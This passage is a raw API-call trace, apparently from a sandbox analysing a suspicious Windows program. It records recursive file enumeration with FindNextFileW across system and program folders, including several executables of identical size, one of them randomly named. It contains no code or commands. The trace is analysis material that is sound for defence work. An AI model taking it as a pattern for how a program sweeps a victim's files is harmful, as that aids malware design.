nFileSizeLow=0x13200, dwReserved0=0xffffa1ab, dwReserved1=0x1ae, cFileName="alftp.exe", cAlternateFileName="")) returned 1 [0255.198] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0255.198] FindNextFileW (in: hFindFile=0x6cff88, lpFindFileData=0x396f584 | out: lpFindFileData=0x396f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68b88afa, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x68b88afa, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x68b88afa, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa0800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TableTextService.dll", cAlternateFileName="")) returned 1 [0255.199] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0255.199] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa9257555, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffa1ab, dwReserved1=0x1ae, cFileName="TableTextService", cAlternateFileName="TABLET~1")) returned 0 [0255.199] FindClose (in: hFindFile=0x6d0348 | out: hFindFile=0x6d0348) returned 1 [0255.199] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0255.200] FindNextFileW (in: hFindFile=0x6d0248, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xea1a4999, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xea1a4999, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="Windows Photo Viewer", cAlternateFileName="WI8A19~1")) returned 1 [0255.204] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0255.204] FindNextFileW (in: hFindFile=0x6cff88, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9550fd74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9550fd74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9550fd74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x19940, dwReserved0=0xffffa1ab, dwReserved1=0x1ae, cFileName="ImagingDevices.exe", cAlternateFileName="")) returned 1 [0255.205] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0255.205] FindNextFileW (in: hFindFile=0x6d0248, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xed78dc0c, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xed78dc0c, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="Windows Portable Devices", cAlternateFileName="WIBFE5~1")) returned 1 [0255.207] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0255.207] FindNextFileW (in: hFindFile=0x6d0248, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xea158452, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xea158452, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="Windows Security", cAlternateFileName="WIDB62~1")) returned 1 [0255.211] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0255.211] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x396f584 | out: lpFindFileData=0x396f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5845b6dc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x5845b6dc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x5845b6dc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="manifest.json", cAlternateFileName="")) returned 1 [0255.211] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0255.211] FindNextFileW (in: hFindFile=0x6cff88, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x930abb70, ftCreationTime.dwHighDateTime=0x1d5bd38, ftLastAccessTime.dwLowDateTime=0x552566c0, ftLastAccessTime.dwHighDateTime=0x1d58cc8, ftLastWriteTime.dwLowDateTime=0x552566c0, ftLastWriteTime.dwHighDateTime=0x1d58cc8, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0xffffa1ab, dwReserved1=0x1ae, cFileName="notepad.exe", cAlternateFileName="")) returned 1 [0255.211] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0255.213] FindNextFileW (in: hFindFile=0x6d0248, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe7d5b43f, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe7d5b43f, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 1 [0255.215] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0255.215] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92aff0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffa1ab, dwReserved1=0x1ae, cFileName="Shared Gadgets", cAlternateFileName="SHARED~1")) returned 1 [0255.221] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0255.221] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ebeb610, ftCreationTime.dwHighDateTime=0x1d5d509, ftLastAccessTime.dwLowDateTime=0x979da910, ftLastAccessTime.dwHighDateTime=0x1d59b62, ftLastWriteTime.dwLowDateTime=0x979da910, ftLastWriteTime.dwHighDateTime=0x1d59b62, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0xffffa1ab, dwReserved1=0x1ae, cFileName="springs antonio washer.exe", cAlternateFileName="SPRING~1.EXE")) returned 1 [0255.221] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0255.221] FindNextFileW (in: hFindFile=0x6d0248, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x8da88b6d, ftLastAccessTime.dwHighDateTime=0x1d3274e, ftLastWriteTime.dwLowDateTime=0x8da88b6d, ftLastWriteTime.dwHighDateTime=0x1d3274e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="WindowsApps", cAlternateFileName="WI7DB9~1")) returned 1 [0255.222] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0255.222] FindNextFileW (in: hFindFile=0x6d0248, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xea23d222, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xea23d222, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="WindowsPowerShell", cAlternateFileName="WID5B1~1")) returned 1 [0255.225] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0255.225] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x396f584 | out: lpFindFileData=0x396f584*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502d74d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Schema", cAlternateFileName="")) returned 1 [0255.226] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0255.226] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x396f584 | out: lpFindFileData=0x396f584*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502d74d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Schema", cAlternateFileName="")) returned 0 [0255.226] FindClose (in: hFindFile=0x6d0008 | out: hFindFile=0x6d0008) returned 1 [0255.226] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0255.226] FindNextFileW (in: hFindFile=0x6cff88, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb507390a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffa1ab, dwReserved1=0x1ae, cFileName="Modules", cAlternateFileName="")) returned 1 [0255.494] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0255.494] FindNextFileW (in: hFindFile=0x6cfd08, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e1d6b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 1 [0255.494] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0255.494] FindNextFileW (in: hFindFile=0x6cfd08, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e1d6b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 0 [0255.495] FindClose (in: hFindFile=0x6cfd08 | out: hFindFile=0x6cfd08) returned 1 [0255.495] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4178310 | out: hHeap=0x670000) returned 1 [0255.495] FindNextFileW (in: hFindFile=0x6d03c8, lpFindFileData=0x396f08c | out: lpFindFileData=0x396f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e3f39a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e3f39a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e3f39a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc4a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PowerShell.Operation.Validation.Format.ps1xml", cAlternateFileName="")) returned 1 [0255.496] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0255.496] FindNextFileW (in: hFindFile=0x6cfa48, lpFindFileData=0x396e69c | out: lpFindFileData=0x396e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e65b3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Simple", cAlternateFileName="")) returned 0 [0255.496] FindClose (in: hFindFile=0x6cfa48 | out: hFindFile=0x6cfa48) returned 1 [0255.496] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0255.496] FindNextFileW (in: hFindFile=0x6cfa08, lpFindFileData=0x396e918 | out: lpFindFileData=0x396e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e60a0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 0 [0255.496] FindClose (in: hFindFile=0x6cfa08 | out: hFindFile=0x6cfa08) returned 1 [0255.496] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0255.496] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x396eb94 | out: lpFindFileData=0x396eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e6b0e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example2.Diagnostics", cAlternateFileName="EXAMPL~2.DIA")) returned 1 [0255.498] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0255.498] FindNextFileW (in: hFindFile=0x6cfd48, lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e7ae8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 0 [0255.498] FindClose (in: hFindFile=0x6cfd48 | out: hFindFile=0x6cfd48) returned 1 [0255.498] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0255.498] FindNextFileW (in: hFindFile=0x6cfa48, lpFindFileData=0x396e69c | out: lpFindFileData=0x396e69c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e3f39a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e3f39a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e3f39a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x243, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example2.Diagnostics.psd1", cAlternateFileName="")) returned 1 [0255.498] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0255.498] FindNextFileW (in: hFindFile=0x6cfa08, lpFindFileData=0x396e918 | out: lpFindFileData=0x396e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e6ff3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.1", cAlternateFileName="103623~1.1")) returned 0 [0255.498] FindClose (in: hFindFile=0x6cfa08 | out: hFindFile=0x6cfa08) returned 1 [0255.498] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0255.500] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x396eb94 | out: lpFindFileData=0x396eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e804c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example3.Diagnostics", cAlternateFileName="EXAMPL~3.DIA")) returned 1 [0255.502] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0255.502] FindNextFileW (in: hFindFile=0x6cfa48, lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e907e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 0 [0255.502] FindClose (in: hFindFile=0x6cfa48 | out: hFindFile=0x6cfa48) returned 1 [0255.502] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0255.502] FindNextFileW (in: hFindFile=0x6cfa08, lpFindFileData=0x396e69c | out: lpFindFileData=0x396e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e8b3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 0 [0255.503] FindClose (in: hFindFile=0x6cfa08 | out: hFindFile=0x6cfa08) returned 1 [0255.503] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0255.503] FindNextFileW (in: hFindFile=0x6cfd48, lpFindFileData=0x396e918 | out: lpFindFileData=0x396e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e955d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.0.1", cAlternateFileName="20519B~1.1")) returned 1 [0255.503] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0255.503] FindNextFileW (in: hFindFile=0x6cfe48, lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50ea096, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 0 [0255.503] FindClose (in: hFindFile=0x6cfe48 | out: hFindFile=0x6cfe48) returned 1 [0255.503] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0255.503] FindNextFileW (in: hFindFile=0x6cfd88, lpFindFileData=0x396e69c | out: lpFindFileData=0x396e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e9b5b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 0 [0255.503] FindClose (in: hFindFile=0x6cfd88 | out: hFindFile=0x6cfd88) returned 1 [0255.503] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0255.503] FindNextFileW (in: hFindFile=0x6cfd48, lpFindFileData=0x396e918 | out: lpFindFileData=0x396e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e955d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.0.1", cAlternateFileName="20519B~1.1")) returned 0 [0255.503] FindClose (in: hFindFile=0x6cfd48 | out: hFindFile=0x6cfd48) returned 1 [0255.503] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0255.506] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x396eb94 | out: lpFindFileData=0x396eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e804c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example3.Diagnostics", cAlternateFileName="EXAMPL~3.DIA")) returned 0 [0255.506] FindClose (in: hFindFile=0x6cf988 | out: hFindFile=0x6cf988) returned 1 [0255.506] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41bde30 | out: hHeap=0x670000) returned 1 [0255.507] FindNextFileW (in: hFindFile=0x6cfd08, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e4074, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Modules", cAlternateFileName="")) returned 0 [0255.546] FindClose (in: hFindFile=0x6cfd08 | out: hFindFile=0x6cfd08) returned 1 [0255.554] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4178310 | out: hHeap=0x670000) returned 1 [0255.554] FindNextFileW (in: hFindFile=0x6d03c8, lpFindFileData=0x396f08c | out: lpFindFileData=0x396f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e2971, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Test", cAlternateFileName="")) returned 0 [0255.554] FindClose (in: hFindFile=0x6d03c8 | out: hFindFile=0x6d03c8) returned 1 [0255.554] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4135060 | out: hHeap=0x670000) returned 1 [0255.556] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x396f308 | out: lpFindFileData=0x396f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50df8d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.1", cAlternateFileName="103623~1.1")) returned 0 [0255.556] FindClose (in: hFindFile=0x6d01c8 | out: hFindFile=0x6d01c8) returned 1 [0255.556] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0255.556] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x396f584 | out: lpFindFileData=0x396f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50eaa6c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, 